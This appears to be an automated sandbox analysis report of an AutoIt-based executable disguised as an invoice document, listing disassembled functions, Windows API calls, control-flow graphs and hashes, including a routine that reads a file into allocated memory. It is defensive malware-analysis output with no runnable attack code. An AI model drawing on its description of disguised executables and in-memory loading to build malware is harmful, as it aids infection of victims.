                                                                                              • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                              • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                              • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                            • _wcscpy.LIBCMT ref: 00410CCC
                                                                                            • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00020019,?), ref: 00410CE9
                                                                                            • RegQueryValueExW.ADVAPI32 ref: 00429BE4
                                                                                            • _wcscat.LIBCMT ref: 00429C43
                                                                                            • _wcslen.LIBCMT ref: 00429C55
                                                                                            • _wcslen.LIBCMT ref: 00429C66
                                                                                            • _wcscat.LIBCMT ref: 00429C80
                                                                                            • _wcsncpy.LIBCMT ref: 00429CC0
                                                                                            • RegCloseKey.ADVAPI32(?), ref: 00429CDE
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _wcscat_wcslen$CloseException@8FileModuleNameOpenQueryThrowValue__wmakepath__wmakepath_s__wsplitpath__wsplitpath_helper_malloc_wcscpy_wcsncat_wcsncpystd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                            • String ID: Include$Software\AutoIt v3\AutoIt$\
                                                                                            • API String ID: 1004883554-2276155026
                                                                                            • Opcode ID: d7f6643cad26fd3001d91627fc5ef1af4f656d40d4c5ca14c02d7ab544e78cf5
                                                                                            • Instruction ID: ef4714a7fd58501e566ba693257e1f196c1b97611c18bc9c35ab262cfa7686fb
                                                                                            • Opcode Fuzzy Hash: d7f6643cad26fd3001d91627fc5ef1af4f656d40d4c5ca14c02d7ab544e78cf5
                                                                                            • Instruction Fuzzy Hash: B961B3B1508340DFC300EF65EC8599BBBE8FB99704F44882EF544C3261EBB59948CB5A
                                                                                            Function 004095C7 Relevance: 21.5, APIs: 14, Instructions: 539sleeptimeCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00409A40: _wcslen.LIBCMT ref: 00409A61
                                                                                              • Part of subcall function 00409A40: CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                            • Sleep.KERNEL32(0000000A), ref: 00409870
                                                                                            • timeGetTime.WINMM ref: 00409880
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: BuffCharSleepTimeUpper_wcslentime
                                                                                            • String ID:
                                                                                            • API String ID: 3219444185-0
                                                                                            • Opcode ID: da6b74c52f7fd8fa7285d44dc66266380a963bd06260c315e722df216112258b
                                                                                            • Instruction ID: 79dfb759edd1749a95aa3438e3198289cebfc990e9c1b7da565b255c5aac8c6d
                                                                                            • Opcode Fuzzy Hash: da6b74c52f7fd8fa7285d44dc66266380a963bd06260c315e722df216112258b
                                                                                            • Instruction Fuzzy Hash: D422F171608342ABC724DF64C984BABB7A0BF89304F14492FE54997392D77CEC45CB9A
                                                                                            Function 004523CE Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 145COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: __fread_nolock$_fseek_wcscpy
                                                                                            • String ID: FILE
                                                                                            • API String ID: 3888824918-3121273764
                                                                                            • Opcode ID: e8200e6015bbe3313da03f0c122791b2111f624a8fcd35516e511649d5e709ac
                                                                                            • Instruction ID: c0f9aeb359a44d31a21a8716142a7f32772eb03c7b5129f1ec28ea3a2d041f76
                                                                                            • Opcode Fuzzy Hash: e8200e6015bbe3313da03f0c122791b2111f624a8fcd35516e511649d5e709ac
                                                                                            • Instruction Fuzzy Hash: D541EFB1504300BBD310EB55CC81FEB73A9AFC8718F54491EFA8457181F679E644C7AA
                                                                                            Function 004102F0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53windowregistryCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            APIs
                                                                                            • GetSysColorBrush.USER32 ref: 00410326
                                                                                            • RegisterClassExW.USER32 ref: 00410359
                                                                                            • RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,?), ref: 0041036A
                                                                                            • InitCommonControlsEx.COMCTL32(0000000F,?,?,?,?,?,?), ref: 0041038A
                                                                                            • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,?,?,?,?,?), ref: 0041039A
                                                                                            • LoadIconW.USER32(00400000,000000A9), ref: 004103B1
                                                                                            • ImageList_ReplaceIcon.COMCTL32(00A91DB8,000000FF,00000000,?,?,?,?,?,?), ref: 004103C1
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                                                            • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                                                            • API String ID: 2914291525-1005189915
                                                                                            • Opcode ID: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
                                                                                            • Instruction ID: c8c51aded5b6d43d10953d3ded2c15c159303f3bf9a059b11759766ceadcbce4
                                                                                            • Opcode Fuzzy Hash: b078764552fc12f322907e2d646497bc841117f43cad8f480623bc49e689b681
                                                                                            • Instruction Fuzzy Hash: 9F2129B4518301AFD340DF64D888B4EBFF4FB89704F008A2EF685962A0E7B58144CF5A
                                                                                            Function 004101F0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 74windowregistryCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            APIs
                                                                                            • GetSysColorBrush.USER32(0000000F), ref: 004101F9
                                                                                            • LoadCursorW.USER32(00000000,00007F00), ref: 00410209
                                                                                            • LoadIconW.USER32(?,00000063), ref: 0041021F
                                                                                            • LoadIconW.USER32(?,000000A4), ref: 00410232
                                                                                            • LoadIconW.USER32(?,000000A2), ref: 00410245
                                                                                            • LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
                                                                                            • RegisterClassExW.USER32 ref: 004102C6
                                                                                              • Part of subcall function 004102F0: GetSysColorBrush.USER32 ref: 00410326
                                                                                              • Part of subcall function 004102F0: RegisterClassExW.USER32 ref: 00410359
                                                                                              • Part of subcall function 004102F0: RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,?), ref: 0041036A
                                                                                              • Part of subcall function 004102F0: InitCommonControlsEx.COMCTL32(0000000F,?,?,?,?,?,?), ref: 0041038A
                                                                                              • Part of subcall function 004102F0: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,?,?,?,?,?), ref: 0041039A
                                                                                              • Part of subcall function 004102F0: LoadIconW.USER32(00400000,000000A9), ref: 004103B1
                                                                                              • Part of subcall function 004102F0: ImageList_ReplaceIcon.COMCTL32(00A91DB8,000000FF,00000000,?,?,?,?,?,?), ref: 004103C1
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                                                            • String ID: #$0$PGH
                                                                                            • API String ID: 423443420-3673556320
                                                                                            • Opcode ID: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
                                                                                            • Instruction ID: 6be78a7d21e01e6533eb66d2751721d4fd39e3055bf34e10baa21603515e7cea
                                                                                            • Opcode Fuzzy Hash: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
                                                                                            • Instruction Fuzzy Hash: 60216DB5A18300AFD310CF59EC84A4A7FE4FB99710F00497FF648972A0D7B599408B99
                                                                                            Function 00452574 Relevance: 13.7, APIs: 9, Instructions: 171COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            APIs
                                                                                            • _fseek.LIBCMT ref: 004525DA
                                                                                              • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004523ED
                                                                                              • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 00452432
                                                                                              • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045244F
                                                                                              • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 0045247D
                                                                                              • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045248E
                                                                                              • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004524AB
                                                                                              • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 004524D9
                                                                                            • __fread_nolock.LIBCMT ref: 00452618
                                                                                            • __fread_nolock.LIBCMT ref: 00452629
                                                                                            • __fread_nolock.LIBCMT ref: 00452644
                                                                                            • __fread_nolock.LIBCMT ref: 00452661
                                                                                            • _fseek.LIBCMT ref: 0045267D
                                                                                            • _malloc.LIBCMT ref: 00452689
                                                                                            • _malloc.LIBCMT ref: 00452696
                                                                                            • __fread_nolock.LIBCMT ref: 004526A7
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: __fread_nolock$_fseek_malloc_wcscpy
                                                                                            • String ID:
                                                                                            • API String ID: 1911931848-0
                                                                                            • Opcode ID: 3570a21b3fd7755177810c9e6035fea9311faeeb4ffbf150b354229a8e607498
                                                                                            • Instruction ID: daf5751c9f96f1f9c2235ce4d63c31b1673d17b5fb5ed0b9a51dc370059b243a
                                                                                            • Opcode Fuzzy Hash: 3570a21b3fd7755177810c9e6035fea9311faeeb4ffbf150b354229a8e607498
                                                                                            • Instruction Fuzzy Hash: 47514CB1A08340AFD310DF5AD881A9BF7E9FFC8704F40492EF68887241D77AE5448B5A
                                                                                            Function 0040F450 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 126COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1344 40f450-40f45c call 425210 1347 40f460-40f478 1344->1347 1347->1347 1348 40f47a-40f4a8 call 413990 call 410f70 1347->1348 1353 40f4b0-40f4d1 call 4151b0 1348->1353 1356 40f531 1353->1356 1357 40f4d3-40f4da 1353->1357 1360 40f536-40f540 1356->1360 1358 40f4dc-40f4de 1357->1358 1359 40f4fd-40f517 call 41557c 1357->1359 1361 40f4e0-40f4e2 1358->1361 1364 40f51c-40f51f 1359->1364 1363 40f4e6-40f4ed 1361->1363 1365 40f521-40f52c 1363->1365 1366 40f4ef-40f4f2 1363->1366 1364->1353 1369 40f543-40f54e 1365->1369 1370 40f52e-40f52f 1365->1370 1367 42937a-4293a0 call 41557c call 4151b0 1366->1367 1368 40f4f8-40f4fb 1366->1368 1381 4293a5-4293c3 call 4151d0 1367->1381 1368->1359 1368->1361 1372 40f550-40f553 1369->1372 1373 40f555-40f560 1369->1373 1370->1366 1372->1366 1374 429372 1373->1374 1375 40f566-40f571 1373->1375 1374->1367 1377 429361-429367 1375->1377 1378 40f577-40f57a 1375->1378 1377->1363 1380 42936d 1377->1380 1378->1366 1380->1374 1381->1360
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: __fread_nolock_fseek_strcat
                                                                                            • String ID: AU3!$EA06
                                                                                            • API String ID: 3818483258-2658333250
                                                                                            • Opcode ID: 61a815b4762265f9d00ad5303640aa958846bc8ab5516fbcebd88596bc1aced3
                                                                                            • Instruction ID: a326fe91d6bb541f17a8cee8b09d92be642ba4032c5aa5fe266a96c6f27d1a6c
                                                                                            • Opcode Fuzzy Hash: 61a815b4762265f9d00ad5303640aa958846bc8ab5516fbcebd88596bc1aced3
                                                                                            • Instruction Fuzzy Hash: 2B416C7160C340ABC331DA24C841AEB77A59B95308F68087EF5C597683E578E44A876B
                                                                                            Function 00410130 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 76COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1384 410130-410142 SHGetMalloc 1385 410148-410158 SHGetDesktopFolder 1384->1385 1386 42944f-429459 call 411691 1384->1386 1388 4101d1-4101e0 1385->1388 1389 41015a-410188 call 411691 1385->1389 1388->1386 1394 4101e6-4101ee 1388->1394 1396 4101c5-4101ce 1389->1396 1397 41018a-4101a1 SHGetPathFromIDListW 1389->1397 1396->1388 1398 4101a3-4101b1 call 411691 1397->1398 1399 4101b4-4101c0 1397->1399 1398->1399 1399->1396
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _wcscpy$DesktopFolderFromListMallocPath
                                                                                            • String ID: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe
                                                                                            • API String ID: 192938534-780385104
                                                                                            • Opcode ID: 41672701d810a85b6866b378b1839c38d53fca73f5daf9d2a63f2dfb0070f590
                                                                                            • Instruction ID: 2fe23ff91bf644c1e681f842d3c1e96d6f0f177144f23c1ad52f1bdc7517ad48
                                                                                            • Opcode Fuzzy Hash: 41672701d810a85b6866b378b1839c38d53fca73f5daf9d2a63f2dfb0070f590
                                                                                            • Instruction Fuzzy Hash: 822179B5604211AFC210EB64DC84DABB3ECEFC8704F14891DF94987210E739ED46CBA6
                                                                                            Function 00401230 Relevance: 12.1, APIs: 8, Instructions: 83windowtimeCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1402 401230-40123b 1403 401241-401272 call 4131f0 call 401be0 1402->1403 1404 4012c5-4012cd 1402->1404 1409 401274-401292 1403->1409 1410 4012ae-4012bf KillTimer SetTimer 1403->1410 1411 42aa61-42aa67 1409->1411 1412 401298-40129c 1409->1412 1410->1404 1415 42aa8b-42aaa7 Shell_NotifyIconW 1411->1415 1416 42aa69-42aa86 Shell_NotifyIconW 1411->1416 1413 4012a2-4012a8 1412->1413 1414 42aaac-42aab3 1412->1414 1413->1410 1419 42aaf8-42ab15 Shell_NotifyIconW 1413->1419 1417 42aad7-42aaf3 Shell_NotifyIconW 1414->1417 1418 42aab5-42aad2 Shell_NotifyIconW 1414->1418 1415->1410 1416->1410 1417->1410 1418->1410 1419->1410
                                                                                            APIs
                                                                                            • _memset.LIBCMT ref: 00401257
                                                                                              • Part of subcall function 00401BE0: _memset.LIBCMT ref: 00401C62
                                                                                              • Part of subcall function 00401BE0: _wcsncpy.LIBCMT ref: 00401CA1
                                                                                              • Part of subcall function 00401BE0: _wcscpy.LIBCMT ref: 00401CBD
                                                                                              • Part of subcall function 00401BE0: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401CCF
                                                                                            • KillTimer.USER32(?,?), ref: 004012B0
                                                                                            • SetTimer.USER32(?,?,000002EE,00000000), ref: 004012BF
                                                                                            • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AA80
                                                                                            • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AACC
                                                                                            • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AB0F
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: IconNotifyShell_$Timer_memset$Kill_wcscpy_wcsncpy
                                                                                            • String ID:
                                                                                            • API String ID: 1792922140-0
                                                                                            • Opcode ID: a7115ab057bf29602ed6c82bb799c717f5f73d3545905a596edaeb05fb95c8cc
                                                                                            • Instruction ID: 78dbdb20408675f5dda5a176dd8a03fc230073daf987e80dd157250a536ae6f7
                                                                                            • Opcode Fuzzy Hash: a7115ab057bf29602ed6c82bb799c717f5f73d3545905a596edaeb05fb95c8cc
                                                                                            • Instruction Fuzzy Hash: 56319670609642BFD319CB24D544B9BFBE8BF85304F04856EF488A3251C7789A19D7AB
                                                                                            Function 04059E18 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1420 4059e18-4059ec6 call 4057848 1423 4059ecd-4059ef3 call 405ad28 CreateFileW 1420->1423 1426 4059ef5 1423->1426 1427 4059efa-4059f0a 1423->1427 1428 405a045-405a049 1426->1428 1432 4059f11-4059f2b VirtualAlloc 1427->1432 1433 4059f0c 1427->1433 1430 405a08b-405a08e 1428->1430 1431 405a04b-405a04f 1428->1431 1434 405a091-405a098 1430->1434 1435 405a051-405a054 1431->1435 1436 405a05b-405a05f 1431->1436 1437 4059f32-4059f49 ReadFile 1432->1437 1438 4059f2d 1432->1438 1433->1428 1439 405a0ed-405a102 1434->1439 1440 405a09a-405a0a5 1434->1440 1435->1436 1441 405a061-405a06b 1436->1441 1442 405a06f-405a073 1436->1442 1447 4059f50-4059f90 VirtualAlloc 1437->1447 1448 4059f4b 1437->1448 1438->1428 1443 405a104-405a10f VirtualFree 1439->1443 1444 405a112-405a11a 1439->1444 1449 405a0a7 1440->1449 1450 405a0a9-405a0b5 1440->1450 1441->1442 1445 405a075-405a07f 1442->1445 1446 405a083 1442->1446 1443->1444 1445->1446 1446->1430 1451 4059f97-4059fb2 call 405af78 1447->1451 1452 4059f92 1447->1452 1448->1428 1449->1439 1453 405a0b7-405a0c7 1450->1453 1454 405a0c9-405a0d5 1450->1454 1460 4059fbd-4059fc7 1451->1460 1452->1428 1456 405a0eb 1453->1456 1457 405a0d7-405a0e0 1454->1457 1458 405a0e2-405a0e8 1454->1458 1456->1434 1457->1456 1458->1456 1461 4059fc9-4059ff8 call 405af78 1460->1461 1462 4059ffa-405a00e call 405ad88 1460->1462 1461->1460 1468 405a010 1462->1468 1469 405a012-405a016 1462->1469 1468->1428 1470 405a022-405a026 1469->1470 1471 405a018-405a01c CloseHandle 1469->1471 1472 405a036-405a03f 1470->1472 1473 405a028-405a033 VirtualFree 1470->1473 1471->1470 1472->1423 1472->1428 1473->1472
                                                                                            APIs
                                                                                            • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 04059EE9
                                                                                            • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0405A10F
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111762391.0000000004057000.00000040.00000020.00020000.00000000.sdmp, Offset: 04057000, based on PE: false
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_4057000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CreateFileFreeVirtual
                                                                                            • String ID:
                                                                                            • API String ID: 204039940-0
                                                                                            • Opcode ID: e364f936384ad5a75a3e6820b612275e2b186d73597ef444eab7978b091760cf
                                                                                            • Instruction ID: a2643fbedc5ef6aea0a6f26550bc14c670bc313a05588f52dd0a3f555844f65d
                                                                                            • Opcode Fuzzy Hash: e364f936384ad5a75a3e6820b612275e2b186d73597ef444eab7978b091760cf
                                                                                            • Instruction Fuzzy Hash: 83A1F770E00209EBDB54CFA4C894BEEBBB5FF48304F209659E901BB290D775AA41DF55
                                                                                            Function 00414F10 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 1474 414f10-414f2c 1475 414f4f 1474->1475 1476 414f2e-414f31 1474->1476 1478 414f51-414f55 1475->1478 1476->1475 1477 414f33-414f35 1476->1477 1479 414f37-414f46 call 417f23 1477->1479 1480 414f56-414f5b 1477->1480 1492 414f47-414f4c call 417ebb 1479->1492 1481 414f6a-414f6d 1480->1481 1482 414f5d-414f68 1480->1482 1485 414f7a-414f7c 1481->1485 1486 414f6f-414f77 call 4131f0 1481->1486 1482->1481 1484 414f8b-414f9e 1482->1484 1490 414fa0-414fa6 1484->1490 1491 414fa8 1484->1491 1485->1479 1489 414f7e-414f89 1485->1489 1486->1485 1489->1479 1489->1484 1494 414faf-414fb1 1490->1494 1491->1494 1492->1475 1496 4150a1-4150a4 1494->1496 1497 414fb7-414fbe 1494->1497 1496->1478 1499 414fc0-414fc5 1497->1499 1500 415004-415007 1497->1500 1499->1500 1503 414fc7 1499->1503 1501 415071-415072 call 41e6b1 1500->1501 1502 415009-41500d 1500->1502 1509 415077-41507b 1501->1509 1505 41500f-415018 1502->1505 1506 41502e-415035 1502->1506 1507 415102 1503->1507 1508 414fcd-414fd1 1503->1508 1510 415023-415028 1505->1510 1511 41501a-415021 1505->1511 1513 415037 1506->1513 1514 415039-41503c 1506->1514 1512 415106-41510f 1507->1512 1515 414fd3 1508->1515 1516 414fd5-414fd8 1508->1516 1509->1512 1519 415081-415085 1509->1519 1520 41502a-41502c 1510->1520 1511->1520 1512->1478 1513->1514 1521 415042-41504e call 41453a call 41ed9e 1514->1521 1522 4150d5-4150d9 1514->1522 1515->1516 1517 4150a9-4150af 1516->1517 1518 414fde-414fff call 41ee9b 1516->1518 1527 4150b1-4150bd call 4131f0 1517->1527 1528 4150c0-4150d0 call 417f23 1517->1528 1534 415099-41509b 1518->1534 1519->1522 1526 415087-415096 1519->1526 1520->1514 1542 415053-415058 1521->1542 1524 4150eb-4150fd call 417f23 1522->1524 1525 4150db-4150e8 call 4131f0 1522->1525 1524->1492 1525->1524 1526->1534 1527->1528 1528->1492 1534->1496 1534->1497 1543 415114-415118 1542->1543 1544 41505e-415061 1542->1544 1543->1512 1544->1507 1545 415067-41506f 1544->1545 1545->1534
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
